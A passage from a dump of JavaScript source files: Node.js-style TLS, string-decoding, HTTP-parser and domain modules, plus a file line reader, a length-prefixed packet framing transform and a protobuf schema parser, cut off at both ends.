forwardEvent = function () { 107 | this.emit.apply(this, arguments); 108 | }; 109 | 110 | for (i = 0, l = events.length; i < l; i++) { 111 | event = events[i]; 112 | handler = forwardEvent.bind(emitterDestination, event); 113 | 114 | emitterSource.on(event, handler); 115 | } 116 | } 117 | 118 | function removeEvents(events, emitterSource) { 119 | var i, l; 120 | 121 | for (i = 0, l = events.length; i < l; i++) { 122 | emitterSource.removeAllListeners(events[i]); 123 | } 124 | } 125 | 126 | function pipe(securePair, socket) { 127 | var clearText, onError, onClose, events; 128 | 129 | events = ['timeout', 'end', 'drain']; 130 | clearText = securePair.cleartext; 131 | 132 | onError = function (err) { 133 | if (clearText._controlReleased) { 134 | clearText.emit('error', err); 135 | } 136 | }; 137 | 138 | onClose = function () { 139 | socket.removeListener('error', onError); 140 | socket.removeListener('close', onClose); 141 | removeEvents(events, socket); 142 | }; 143 | 144 | 145 | forwardEvents(events, socket, clearText); 146 | socket.on('error', onError); 147 | socket.on('close', onClose); 148 | 149 | securePair.on('error', function (err) { 150 | onError(err); 151 | }); 152 | 153 | securePair.encrypted.pipe(socket); 154 | socket.pipe(securePair.encrypted); 155 | 156 | securePair.fd = socket.fd; 157 | 158 | clearText.socket = socket; 159 | clearText.encrypted = securePair.encrypted; 160 | clearText.authorized = false; 161 | 162 | return clearText; 163 | } -------------------------------------------------------------------------------- /_tls_common.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | var util = require('util'); 23 | var constants = require('constants'); 24 | var tls = require('tls'); 25 | 26 | 27 | var crypto = null; 28 | 29 | var binding = process.binding('crypto'); 30 | var NativeSecureContext = binding.SecureContext; 31 | 32 | function SecureContext(secureProtocol, flags, context) { 33 | if (!(this instanceof SecureContext)) { 34 | return new SecureContext(secureProtocol, flags, context); 35 | } 36 | 37 | if (context) { 38 | this.context = context; 39 | } else { 40 | this.context = new NativeSecureContext(); 41 | 42 | if (secureProtocol) { 43 | this.context.init(secureProtocol); 44 | } else { 45 | this.context.init(); 46 | } 47 | } 48 | 49 | if (flags) this.context.setOptions(flags); 50 | } 51 | 52 | exports.SecureContext = SecureContext; 53 | 54 | 55 | exports.createSecureContext = function createSecureContext(options, context) { 56 | if (!options) options = {}; 57 | 58 | var secureOptions = options.secureOptions; 59 | if (options.honorCipherOrder) 60 | secureOptions |= constants.SSL_OP_CIPHER_SERVER_PREFERENCE; 61 | 62 | var c = new SecureContext(options.secureProtocol, secureOptions, context); 63 | 64 | if (context) return c; 65 | 66 | if (options.key) { 67 | if (Array.isArray(options.key)) { 68 | for (var i = 0; i < options.key.length; i++) { 69 | var key = options.key[i]; 70 | 71 | if (key.passphrase) 72 | c.context.setKey(key.pem, key.passphrase); 73 | else 74 | c.context.setKey(key); 75 | } 76 | } else { 77 | if (options.passphrase) { 78 | c.context.setKey(options.key, options.passphrase); 79 | } else { 80 | c.context.setKey(options.key); 81 | } 82 | } 83 | } 84 | 85 | 86 | 87 | if (options.ca) { 88 | if (util.isArray(options.ca)) { 89 | for (var i = 0, len = options.ca.length; i < len; i++) { 90 | c.context.addCACert(options.ca[i]); 91 | } 92 | } else { 93 | c.context.addCACert(options.ca); 94 | } 95 | } else { 96 | c.context.addRootCerts(); 97 | } 98 | 99 | if (options.cert) { 100 | if (Array.isArray(options.cert)) { 101 | for (var i = 0; i < options.cert.length; i++) 102 | c.context.setCert(options.cert[i]); 103 | } else { 104 | c.context.setCert(options.cert); 105 | } 106 | } 107 | 108 | if (options.ciphers) 109 | c.context.setCiphers(options.ciphers); 110 | else 111 | c.context.setCiphers(tls.DEFAULT_CIPHERS); 112 | 113 | if (util.isUndefined(options.ecdhCurve)) 114 | c.context.setECDHCurve(tls.DEFAULT_ECDH_CURVE); 115 | else if (options.ecdhCurve) 116 | c.context.setECDHCurve(options.ecdhCurve); 117 | 118 | if (options.dhparam) c.context.setDHParam(options.dhparam); 119 | 120 | if (options.crl) { 121 | if (util.isArray(options.crl)) { 122 | for (var i = 0, len = options.crl.length; i < len; i++) { 123 | c.context.addCRL(options.crl[i]); 124 | } 125 | } else { 126 | c.context.addCRL(options.crl); 127 | } 128 | } 129 | 130 | if (options.sessionIdContext) { 131 | c.context.setSessionIdContext(options.sessionIdContext); 132 | } 133 | 134 | if (options.pfx) { 135 | var pfx = options.pfx; 136 | var passphrase = options.passphrase; 137 | 138 | if (!crypto) 139 | crypto = require('crypto'); 140 | 141 | pfx = crypto._toBuf(pfx); 142 | if (passphrase) 143 | passphrase = crypto._toBuf(passphrase); 144 | 145 | if (passphrase) { 146 | c.context.loadPKCS12(pfx, passphrase); 147 | } else { 148 | c.context.loadPKCS12(pfx); 149 | } 150 | } 151 | 152 | return c; 153 | }; 154 | 155 | exports.translatePeerCertificate = function translatePeerCertificate(c) { 156 | if (!c) 157 | return null; 158 | 159 | if (c.issuer) c.issuer = tls.parseCertString(c.issuer); 160 | if (c.issuerCertificate && c.issuerCertificate !== c) { 161 | c.issuerCertificate = translatePeerCertificate(c.issuerCertificate); 162 | } 163 | if (c.subject) c.subject = tls.parseCertString(c.subject); 164 | if (c.infoAccess) { 165 | var info = c.infoAccess; 166 | c.infoAccess = {}; 167 | 168 | 169 | info.replace(/([^\n:]*):([^\n]*)(?:\n|$)/g, function(all, key, val) { 170 | if (key === '__proto__') 171 | return; 172 | 173 | if (c.infoAccess.hasOwnProperty(key)) 174 | c.infoAccess[key].push(val); 175 | else 176 | c.infoAccess[key] = [val]; 177 | }); 178 | } 179 | return c; 180 | }; 181 | -------------------------------------------------------------------------------- /string_decoder.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | function assertEncoding(encoding) { 23 | if (encoding && !Buffer.isEncoding(encoding)) { 24 | throw new Error('Unknown encoding: ' + encoding); 25 | } 26 | } 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | var StringDecoder = exports.StringDecoder = function(encoding) { 37 | this.encoding = (encoding || 'utf8').toLowerCase().replace(/[-_]/, ''); 38 | assertEncoding(encoding); 39 | switch (this.encoding) { 40 | case 'utf8': 41 | 42 | this.surrogateSize = 3; 43 | break; 44 | case 'ucs2': 45 | case 'utf16le': 46 | 47 | this.surrogateSize = 2; 48 | this.detectIncompleteChar = utf16DetectIncompleteChar; 49 | break; 50 | case 'base64': 51 | 52 | this.surrogateSize = 3; 53 | this.detectIncompleteChar = base64DetectIncompleteChar; 54 | break; 55 | default: 56 | this.write = passThroughWrite; 57 | return; 58 | } 59 | 60 | 61 | 62 | this.charBuffer = new Buffer(6); 63 | 64 | this.charReceived = 0; 65 | 66 | this.charLength = 0; 67 | }; 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | StringDecoder.prototype.write = function(buffer) { 80 | var charStr = ''; 81 | 82 | while (this.charLength) { 83 | 84 | var available = (buffer.length >= this.charLength - this.charReceived) ? 85 | this.charLength - this.charReceived : 86 | buffer.length; 87 | 88 | 89 | buffer.copy(this.charBuffer, this.charReceived, 0, available); 90 | this.charReceived += available; 91 | 92 | if (this.charReceived < this.charLength) { 93 | 94 | return ''; 95 | } 96 | 97 | 98 | buffer = buffer.slice(available, buffer.length); 99 | 100 | 101 | charStr = this.charBuffer.slice(0, this.charLength).toString(this.encoding); 102 | 103 | 104 | var charCode = charStr.charCodeAt(charStr.length - 1); 105 | if (charCode >= 0xD800 && charCode <= 0xDBFF) { 106 | this.charLength += this.surrogateSize; 107 | charStr = ''; 108 | continue; 109 | } 110 | this.charReceived = this.charLength = 0; 111 | 112 | 113 | if (buffer.length === 0) { 114 | return charStr; 115 | } 116 | break; 117 | } 118 | 119 | 120 | this.detectIncompleteChar(buffer); 121 | 122 | var end = buffer.length; 123 | if (this.charLength) { 124 | 125 | buffer.copy(this.charBuffer, 0, buffer.length - this.charReceived, end); 126 | end -= this.charReceived; 127 | } 128 | 129 | charStr += buffer.toString(this.encoding, 0, end); 130 | 131 | var end = charStr.length - 1; 132 | var charCode = charStr.charCodeAt(end); 133 | 134 | if (charCode >= 0xD800 && charCode <= 0xDBFF) { 135 | var size = this.surrogateSize; 136 | this.charLength += size; 137 | this.charReceived += size; 138 | this.charBuffer.copy(this.charBuffer, size, 0, size); 139 | buffer.copy(this.charBuffer, 0, 0, size); 140 | return charStr.substring(0, end); 141 | } 142 | 143 | 144 | return charStr; 145 | }; 146 | 147 | 148 | 149 | 150 | 151 | StringDecoder.prototype.detectIncompleteChar = function(buffer) { 152 | 153 | var i = (buffer.length >= 3) ? 3 : buffer.length; 154 | 155 | 156 | 157 | for (; i > 0; i--) { 158 | var c = buffer[buffer.length - i]; 159 | 160 | 161 | 162 | 163 | if (i == 1 && c >> 5 == 0x06) { 164 | this.charLength = 2; 165 | break; 166 | } 167 | 168 | 169 | if (i <= 2 && c >> 4 == 0x0E) { 170 | this.charLength = 3; 171 | break; 172 | } 173 | 174 | 175 | if (i <= 3 && c >> 3 == 0x1E) { 176 | this.charLength = 4; 177 | break; 178 | } 179 | } 180 | this.charReceived = i; 181 | }; 182 | 183 | StringDecoder.prototype.end = function(buffer) { 184 | var res = ''; 185 | if (buffer && buffer.length) 186 | res = this.write(buffer); 187 | 188 | if (this.charReceived) { 189 | var cr = this.charReceived; 190 | var buf = this.charBuffer; 191 | var enc = this.encoding; 192 | res += buf.slice(0, cr).toString(enc); 193 | } 194 | 195 | return res; 196 | }; 197 | 198 | function passThroughWrite(buffer) { 199 | return buffer.toString(this.encoding); 200 | } 201 | 202 | function utf16DetectIncompleteChar(buffer) { 203 | this.charReceived = buffer.length % 2; 204 | this.charLength = this.charReceived ? 2 : 0; 205 | } 206 | 207 | function base64DetectIncompleteChar(buffer) { 208 | this.charReceived = buffer.length % 3; 209 | this.charLength = this.charReceived ? 3 : 0; 210 | } 211 | -------------------------------------------------------------------------------- /line_reader.js: -------------------------------------------------------------------------------- 1 | (function() { 2 | "use strict"; 3 | 4 | var fs = require('fs'), 5 | StringDecoder = require('string_decoder').StringDecoder; 6 | 7 | function LineReader(fd, cb, separator, encoding, bufferSize) { 8 | var filePosition = 0, 9 | encoding = encoding || 'utf8', 10 | separator = separator || '\n', 11 | bufferSize = bufferSize || 1024, 12 | buffer = new Buffer(bufferSize), 13 | bufferStr = '', 14 | decoder = new StringDecoder(encoding), 15 | closed = false, 16 | eof = false, 17 | separatorIndex = -1; 18 | 19 | function close() { 20 | if (!closed) { 21 | fs.close(fd, function(err) { 22 | if (err) { 23 | throw err; 24 | } 25 | }); 26 | closed = true; 27 | } 28 | } 29 | 30 | function readToSeparator(cb) { 31 | function readChunk() { 32 | fs.read(fd, buffer, 0, bufferSize, filePosition, function(err, bytesRead) { 33 | var separatorAtEnd; 34 | 35 | if (err) { 36 | throw err; 37 | } 38 | 39 | if (bytesRead < bufferSize) { 40 | eof = true; 41 | close(); 42 | } 43 | 44 | filePosition += bytesRead; 45 | 46 | bufferStr += decoder.write(buffer.slice(0, bytesRead)); 47 | 48 | if (separatorIndex < 0) { 49 | separatorIndex = bufferStr.indexOf(separator); 50 | } 51 | 52 | separatorAtEnd = separatorIndex === bufferStr.length - 1; 53 | if (bytesRead && (separatorIndex === -1 || separatorAtEnd) && !eof) { 54 | readChunk(); 55 | } else { 56 | cb(); 57 | } 58 | }); 59 | } 60 | 61 | readChunk(); 62 | } 63 | 64 | function hasNextLine() { 65 | return bufferStr.length > 0 || !eof; 66 | } 67 | 68 | function nextLine(cb) { 69 | function getLine() { 70 | var ret = bufferStr.substring(0, separatorIndex); 71 | 72 | bufferStr = bufferStr.substring(separatorIndex + 1); 73 | separatorIndex = -1; 74 | cb(ret); 75 | } 76 | 77 | if (separatorIndex < 0) { 78 | separatorIndex = bufferStr.indexOf(separator); 79 | } 80 | 81 | if (separatorIndex < 0) { 82 | if (eof) { 83 | if (hasNextLine()) { 84 | separatorIndex = bufferStr.length; 85 | getLine(); 86 | } else { 87 | throw new Error('No more lines to read.'); 88 | } 89 | } else { 90 | readToSeparator(getLine); 91 | } 92 | } else { 93 | getLine(); 94 | } 95 | } 96 | 97 | this.hasNextLine = hasNextLine; 98 | this.nextLine = nextLine; 99 | this.close = close; 100 | 101 | readToSeparator(cb); 102 | } 103 | 104 | function open(filename, cb, separator, encoding, bufferSize) { 105 | fs.open(filename, 'r', parseInt('666', 8), function(err, fd) { 106 | var reader; 107 | if (err) { 108 | throw err; 109 | } 110 | 111 | reader = new LineReader(fd, function() { 112 | cb(reader); 113 | }, separator, encoding, bufferSize); 114 | }); 115 | } 116 | 117 | function eachLine(filename, cb, separator, encoding, bufferSize) { 118 | var finalFn, 119 | asyncCb = cb.length == 3; 120 | 121 | function finish() { 122 | if (finalFn && typeof finalFn === 'function') { 123 | finalFn(); 124 | } 125 | } 126 | 127 | open(filename, function(reader) { 128 | function newRead() { 129 | if (reader.hasNextLine()) { 130 | process.nextTick(readNext); 131 | } else { 132 | finish(); 133 | } 134 | } 135 | 136 | function continueCb(continueReading) { 137 | if (continueReading !== false) { 138 | newRead(); 139 | } else { 140 | finish(); 141 | } 142 | } 143 | 144 | function readNext() { 145 | reader.nextLine(function(line) { 146 | var last = !reader.hasNextLine(); 147 | 148 | if (asyncCb) { 149 | cb(line, last, continueCb); 150 | } else { 151 | if (cb(line, last) !== false) { 152 | newRead(); 153 | } else { 154 | finish(); 155 | } 156 | } 157 | }); 158 | } 159 | 160 | newRead(); 161 | }, separator, encoding, bufferSize); 162 | 163 | return { 164 | then: function(cb) { 165 | finalFn = cb; 166 | } 167 | }; 168 | } 169 | 170 | module.exports.open = open; 171 | module.exports.eachLine = eachLine; 172 | }()); -------------------------------------------------------------------------------- /_http_common.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | var FreeList = require('freelist').FreeList; 23 | var HTTPParser = process.binding('http_parser').HTTPParser; 24 | 25 | var incoming = require('_http_incoming'); 26 | var IncomingMessage = incoming.IncomingMessage; 27 | var readStart = incoming.readStart; 28 | var readStop = incoming.readStop; 29 | 30 | var isNumber = require('util').isNumber; 31 | 32 | exports.CRLF = '\r\n'; 33 | exports.chunkExpression = /chunk/i; 34 | exports.continueExpression = /100-continue/i; 35 | exports.methods = HTTPParser.methods; 36 | 37 | var kOnHeaders = HTTPParser.kOnHeaders | 0; 38 | var kOnHeadersComplete = HTTPParser.kOnHeadersComplete | 0; 39 | var kOnBody = HTTPParser.kOnBody | 0; 40 | var kOnMessageComplete = HTTPParser.kOnMessageComplete | 0; 41 | 42 | 43 | 44 | 45 | 46 | 47 | function parserOnHeaders(headers, url) { 48 | 49 | if (this.maxHeaderPairs <= 0 || 50 | this._headers.length < this.maxHeaderPairs) { 51 | this._headers = this._headers.concat(headers); 52 | } 53 | this._url += url; 54 | } 55 | 56 | 57 | 58 | 59 | 60 | 61 | function parserOnHeadersComplete(info) { 62 | 63 | var parser = this; 64 | var headers = info.headers; 65 | var url = info.url; 66 | 67 | if (!headers) { 68 | headers = parser._headers; 69 | parser._headers = []; 70 | } 71 | 72 | if (!url) { 73 | url = parser._url; 74 | parser._url = ''; 75 | } 76 | 77 | parser.incoming = new IncomingMessage(parser.socket); 78 | parser.incoming.httpVersionMajor = info.versionMajor; 79 | parser.incoming.httpVersionMinor = info.versionMinor; 80 | parser.incoming.httpVersion = info.versionMajor + '.' + info.versionMinor; 81 | parser.incoming.url = url; 82 | 83 | var n = headers.length; 84 | 85 | 86 | if (parser.maxHeaderPairs > 0) { 87 | n = Math.min(n, parser.maxHeaderPairs); 88 | } 89 | 90 | parser.incoming._addHeaderLines(headers, n); 91 | 92 | if (isNumber(info.method)) { 93 | 94 | parser.incoming.method = HTTPParser.methods[info.method]; 95 | } else { 96 | 97 | parser.incoming.statusCode = info.statusCode; 98 | parser.incoming.statusMessage = info.statusMessage; 99 | } 100 | 101 | parser.incoming.upgrade = info.upgrade; 102 | 103 | var skipBody = false; 104 | 105 | if (!info.upgrade) { 106 | 107 | 108 | 109 | skipBody = parser.onIncoming(parser.incoming, info.shouldKeepAlive); 110 | } 111 | 112 | return skipBody; 113 | } 114 | 115 | 116 | 117 | function parserOnBody(b, start, len) { 118 | var parser = this; 119 | var stream = parser.incoming; 120 | 121 | 122 | if (!stream) 123 | return; 124 | 125 | var socket = stream.socket; 126 | 127 | 128 | if (len > 0 && !stream._dumped) { 129 | var slice = b.slice(start, start + len); 130 | var ret = stream.push(slice); 131 | if (!ret) 132 | readStop(socket); 133 | } 134 | } 135 | 136 | function parserOnMessageComplete() { 137 | var parser = this; 138 | var stream = parser.incoming; 139 | 140 | if (stream) { 141 | stream.complete = true; 142 | 143 | var headers = parser._headers; 144 | if (headers) { 145 | parser.incoming._addHeaderLines(headers, headers.length); 146 | parser._headers = []; 147 | parser._url = ''; 148 | } 149 | 150 | if (!stream.upgrade) 151 | 152 | stream.push(null); 153 | } 154 | 155 | if (stream && !parser.incoming._pendings.length) { 156 | 157 | stream.push(null); 158 | } 159 | 160 | 161 | readStart(parser.socket); 162 | } 163 | 164 | 165 | var parsers = new FreeList('parsers', 1000, function() { 166 | var parser = new HTTPParser(HTTPParser.REQUEST); 167 | 168 | parser._headers = []; 169 | parser._url = ''; 170 | 171 | 172 | 173 | 174 | 175 | 176 | parser[kOnHeaders] = parserOnHeaders; 177 | parser[kOnHeadersComplete] = parserOnHeadersComplete; 178 | parser[kOnBody] = parserOnBody; 179 | parser[kOnMessageComplete] = parserOnMessageComplete; 180 | 181 | return parser; 182 | }); 183 | exports.parsers = parsers; 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | function freeParser(parser, req, socket) { 194 | if (parser) { 195 | parser._headers = []; 196 | parser.onIncoming = null; 197 | if (parser.socket) 198 | parser.socket.parser = null; 199 | parser.socket = null; 200 | parser.incoming = null; 201 | if (parsers.free(parser) === false) 202 | parser.close(); 203 | parser = null; 204 | } 205 | if (req) { 206 | req.parser = null; 207 | } 208 | if (socket) { 209 | socket.parser = null; 210 | } 211 | } 212 | exports.freeParser = freeParser; 213 | 214 | 215 | function ondrain() { 216 | if (this._httpMessage) this._httpMessage.emit('drain'); 217 | } 218 | 219 | 220 | function httpSocketSetup(socket) { 221 | socket.removeListener('drain', ondrain); 222 | socket.on('drain', ondrain); 223 | } 224 | exports.httpSocketSetup = httpSocketSetup; 225 | -------------------------------------------------------------------------------- /packet.js: -------------------------------------------------------------------------------- 1 | var stream = require('stream'); 2 | var util = require('util'); 3 | 4 | var Transform = stream.Transform; 5 | 6 | function modulo(a, b) { 7 | return a - Math.floor(a/b)*b; 8 | } 9 | 10 | function ToInteger(x) { 11 | x = Number(x); 12 | return x < 0 ? Math.ceil(x) : Math.floor(x); 13 | } 14 | 15 | function ToUint32(x) { 16 | return modulo(ToInteger(x), Math.pow(2, 32)); 17 | } 18 | 19 | function PacketCompiler(options) { 20 | if (!(this instanceof PacketCompiler)) { 21 | return new PacketCompiler(options); 22 | } 23 | Transform.call(this, options); 24 | this._readableState.objectMode = true; 25 | } 26 | 27 | util.inherits(PacketCompiler, Transform); 28 | /* 29 | 30 | ********************* 31 | length - 4 bytes 32 | ********************* 33 | payload 34 | ********************* 35 | */ 36 | 37 | PacketCompiler.prototype._transform = function (chunk, enc, cb) { 38 | var self = this; 39 | 40 | //print('add protocol chunk : %d bytes', chunk.length); 41 | //console.log(chunk.toString()); 42 | var packet = chunk; 43 | if (!(packet instanceof Buffer)) { 44 | packet = new Buffer(packet); 45 | } 46 | 47 | var packetLength = new Buffer(4); 48 | var packetMagic = new Buffer(4); 49 | var protoMagic = 0xEDB88320; 50 | var maxChunkSize = 1024; 51 | packetLength.writeUInt32BE(packet.length + 8); 52 | packetMagic.writeUInt32BE(ToUint32(protoMagic ^ packet.length)); 53 | //process.encrypt(packet); 54 | //print(packetMagic.toString('hex')) 55 | 56 | self.push(packetLength); 57 | self.push(packetMagic); 58 | if (packet.length > maxChunkSize) { 59 | 60 | for (let i = 0; i < packet.length; i+=maxChunkSize) 61 | { 62 | self.push( 63 | packet.slice(i, Math.min(i + maxChunkSize, packet.length)) 64 | ); 65 | } 66 | 67 | } else { 68 | self.push(packet); 69 | } 70 | 71 | self.push(packetMagic); 72 | 73 | //print('send packet, length = %d bytes', packet.length); 74 | 75 | cb(); 76 | 77 | }; 78 | 79 | //------------------------------------------------------------ 80 | function createGetLengthMethod(lengthSize) { 81 | switch (lengthSize) { 82 | case 1: 83 | return function(buffer) { 84 | return buffer.readInt8(0) 85 | } 86 | case 2: 87 | return function(buffer) { 88 | return buffer.readInt16BE(0) 89 | } 90 | case 4: 91 | return function(buffer) { 92 | return buffer.readInt32BE(0) 93 | } 94 | default: 95 | throw new Error('Invalid frame length size') 96 | } 97 | } 98 | 99 | function PacketSplitter(options) { 100 | if (!(this instanceof PacketSplitter)) { 101 | return new PacketSplitter(options); 102 | } 103 | 104 | Transform.call(this, options); 105 | this._readableState.objectMode = true; 106 | 107 | this.opts = util._extend({ 108 | lengthSize: 4, 109 | maxSize: 0, 110 | unbuffered: false 111 | }, options) 112 | 113 | this.getLength = this.opts.getLength || 114 | createGetLengthMethod(this.opts.lengthSize); 115 | 116 | this.buffer = null; 117 | this.frameLength = -1; 118 | this.framePos = 0; 119 | 120 | 121 | } 122 | 123 | util.inherits(PacketSplitter, Transform); 124 | 125 | PacketSplitter.prototype._transform = function (chunk, enc, cont) { 126 | 127 | while (chunk.length > 0) { 128 | var start = this.opts.lengthSize 129 | 130 | if (this.buffer) { 131 | chunk = Buffer.concat([this.buffer, chunk]) 132 | this.buffer = null 133 | } 134 | 135 | if (this.frameLength < 0) { 136 | 137 | if (chunk.length < this.opts.lengthSize) { 138 | this.buffer = chunk 139 | return cont() 140 | } 141 | 142 | this.frameLength = this.getLength(chunk) 143 | 144 | if (this.frameLength < 0) { 145 | return cont(new Error('Message length is less than zero')) 146 | } 147 | 148 | // prevent denial-of-service attacks 149 | if (this.opts.maxSize > 0 && this.frameLength > this.opts.maxSize) { 150 | return cont(new Error('Message is larger than the allowed maximum of ' + this.opts.maxSize)) 151 | } 152 | } else if (this.opts.unbuffered) { 153 | start = 0 154 | } 155 | 156 | var end = start + this.frameLength - this.framePos 157 | 158 | if (this.opts.unbuffered) { 159 | end = Math.min(end, chunk.length) 160 | } else if (chunk.length < end) { 161 | this.buffer = chunk 162 | return cont() 163 | } 164 | 165 | var buf = chunk.slice(start, end) 166 | 167 | buf.framePos = this.framePos 168 | buf.frameLength = this.frameLength 169 | 170 | this.framePos += end - start 171 | buf.frameEnd = this.framePos === this.frameLength 172 | 173 | if (buf.frameEnd) { 174 | this.frameLength = -1 175 | this.framePos = 0 176 | } 177 | 178 | //this.push(buf) 179 | { 180 | var packetCrc = buf.readUInt32BE(); 181 | var packetPayload = buf.slice(4, buf.length - 4); 182 | if (packetCrc === buf.readUInt32BE(buf.length - 4)) { 183 | this.emit('packet', new Buffer(packetPayload)); 184 | } 185 | } 186 | 187 | if (chunk.length > end) { 188 | chunk = chunk.slice(end) 189 | } else { 190 | return cont() 191 | } 192 | } 193 | }; 194 | 195 | exports.PacketCompiler = PacketCompiler; 196 | exports.PacketSplitter = PacketSplitter; -------------------------------------------------------------------------------- /protobuf_schema_parse.js: -------------------------------------------------------------------------------- 1 | var tokenize = require('protobuf_schema_tokenize') 2 | 3 | var onfieldoptions = function(tokens) { 4 | var opts = {} 5 | 6 | while (tokens.length) { 7 | switch(tokens[0]) { 8 | case '[': 9 | case ',': 10 | tokens.shift() 11 | var name = tokens.shift() 12 | if (tokens[0] !== '=') throw new Error('Unexpected token in field options: '+tokens[0]) 13 | tokens.shift() 14 | if (tokens[0] === ']') throw new Error('Unexpected ] in field option') 15 | opts[name] = tokens.shift() 16 | break 17 | 18 | case ']': 19 | tokens.shift() 20 | return opts 21 | 22 | default: 23 | throw new Error('Unexpected token in field options: '+tokens[0]) 24 | } 25 | } 26 | 27 | throw new Error('No closing tag for field options') 28 | } 29 | 30 | var onfield = function(tokens) { 31 | var param = [] 32 | var field = { 33 | name: null, 34 | type: null, 35 | tag: 0, 36 | required: false, 37 | repeated: false, 38 | options: {} 39 | } 40 | 41 | while (tokens.length) { 42 | switch (tokens[0]) { 43 | case '=': 44 | tokens.shift() 45 | field.tag = parseInt(tokens.shift(), 10) 46 | break 47 | 48 | case 'repeated': 49 | case 'required': 50 | case 'optional': 51 | var t = tokens.shift() 52 | field.required = t === 'required' 53 | field.repeated = t === 'repeated' 54 | field.type = tokens.shift() 55 | field.name = tokens.shift() 56 | break 57 | 58 | case '[': 59 | field.options = onfieldoptions(tokens) 60 | break 61 | 62 | case ';': 63 | tokens.shift() 64 | return field 65 | 66 | default: 67 | throw new Error('Unexpected token in message field: '+tokens[0]) 68 | } 69 | } 70 | 71 | throw new Error('No ; found for message field') 72 | } 73 | 74 | var onmessagebody = function(tokens) { 75 | var body = { 76 | enums: [], 77 | messages: [], 78 | fields: [] 79 | } 80 | 81 | while (tokens.length) { 82 | switch (tokens[0]) { 83 | case 'repeated': 84 | case 'optional': 85 | case 'required': 86 | body.fields.push(onfield(tokens)) 87 | break 88 | 89 | case 'enum': 90 | body.enums.push(onenum(tokens)) 91 | break 92 | 93 | case 'message': 94 | body.messages.push(onmessage(tokens)) 95 | break 96 | 97 | default: 98 | throw new Error('Unexpected token in message: '+tokens[0]) 99 | } 100 | } 101 | 102 | return body 103 | } 104 | 105 | var onmessage = function(tokens) { 106 | tokens.shift() 107 | 108 | var lvl = 1 109 | var body = [] 110 | var msg = { 111 | name: tokens.shift(), 112 | enums: [], 113 | messages: [], 114 | fields: [] 115 | } 116 | 117 | if (tokens[0] !== '{') throw new Error('Expected { but found '+tokens[0]) 118 | tokens.shift() 119 | 120 | while (tokens.length) { 121 | if (tokens[0] === '{') lvl++ 122 | else if (tokens[0] === '}') lvl-- 123 | 124 | if (!lvl) { 125 | tokens.shift() 126 | var body = onmessagebody(body) 127 | msg.enums = body.enums 128 | msg.messages = body.messages 129 | msg.fields = body.fields 130 | return msg 131 | } 132 | 133 | body.push(tokens.shift()) 134 | } 135 | 136 | if (lvl) throw new Error('No closing tag for message') 137 | } 138 | 139 | var onpackagename = function(tokens) { 140 | tokens.shift() 141 | var name = tokens.shift() 142 | if (tokens[0] !== ';') throw new Error('Expected ; but found '+tokens[0]) 143 | tokens.shift() 144 | return name 145 | } 146 | 147 | var onenumvalue = function(tokens) { 148 | if (tokens.length < 4) throw new Error('Invalid enum value: '+tokens.slice(0, 3).join(' ')) 149 | if (tokens[1] !== '=') throw new Error('Expected = but found '+tokens[1]) 150 | if (tokens[3] !== ';') throw new Error('Expected ; but found '+tokens[1]) 151 | 152 | var name = tokens.shift() 153 | tokens.shift() 154 | 155 | var value = parseInt(tokens.shift(), 10) 156 | tokens.shift() 157 | 158 | return { 159 | name: name, 160 | value: value 161 | } 162 | } 163 | 164 | var onenum = function(tokens) { 165 | tokens.shift() 166 | 167 | var e = { 168 | name: tokens.shift(), 169 | values: {} 170 | } 171 | 172 | if (tokens[0] !== '{') throw new Error('Expected { but found '+tokens[0]) 173 | tokens.shift() 174 | 175 | while (tokens.length) { 176 | if (tokens[0] === '}') { 177 | tokens.shift() 178 | return e 179 | } 180 | var val = onenumvalue(tokens) 181 | e.values[val.name] = val.value 182 | } 183 | 184 | throw new Error('No closing tag for enum') 185 | } 186 | 187 | module.exports = function(buf) { 188 | var tokens = tokenize(buf.toString()) 189 | var schema = { 190 | package: null, 191 | enums: [], 192 | messages: [] 193 | } 194 | 195 | while (tokens.length) { 196 | switch (tokens[0]) { 197 | case 'package': 198 | schema.package = onpackagename(tokens) 199 | break 200 | 201 | case 'message': 202 | schema.messages.push(onmessage(tokens)) 203 | break 204 | 205 | case 'enum': 206 | schema.enums.push(onenum(tokens)) 207 | break 208 | 209 | default: 210 | throw new Error('Unexpected token: '+tokens[0]) 211 | } 212 | } 213 | 214 | return schema 215 | } -------------------------------------------------------------------------------- /domain.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | var util = require('util'); 23 | var EventEmitter = require('events'); 24 | var inherits = util.inherits; 25 | 26 | 27 | 28 | 29 | EventEmitter.usingDomains = true; 30 | 31 | 32 | 33 | var _domain = [null]; 34 | Object.defineProperty(process, 'domain', { 35 | enumerable: true, 36 | get: function() { 37 | return _domain[0]; 38 | }, 39 | set: function(arg) { 40 | return _domain[0] = arg; 41 | } 42 | }); 43 | 44 | 45 | 46 | var _domain_flag = {}; 47 | 48 | 49 | process._setupDomainUse(_domain, _domain_flag); 50 | 51 | exports.Domain = Domain; 52 | 53 | exports.create = exports.createDomain = function() { 54 | return new Domain(); 55 | }; 56 | 57 | 58 | 59 | var stack = []; 60 | exports._stack = stack; 61 | 62 | exports.active = null; 63 | 64 | 65 | inherits(Domain, EventEmitter); 66 | 67 | function Domain() { 68 | EventEmitter.call(this); 69 | 70 | this.members = []; 71 | } 72 | 73 | Domain.prototype.members = undefined; 74 | Domain.prototype._disposed = undefined; 75 | 76 | 77 | 78 | Domain.prototype._errorHandler = function errorHandler(er) { 79 | var caught = false; 80 | 81 | 82 | 83 | 84 | 85 | if (this._disposed) 86 | return true; 87 | 88 | if (!util.isPrimitive(er)) { 89 | er.domain = this; 90 | er.domainThrown = true; 91 | } 92 | 93 | try { 94 | 95 | 96 | 97 | 98 | 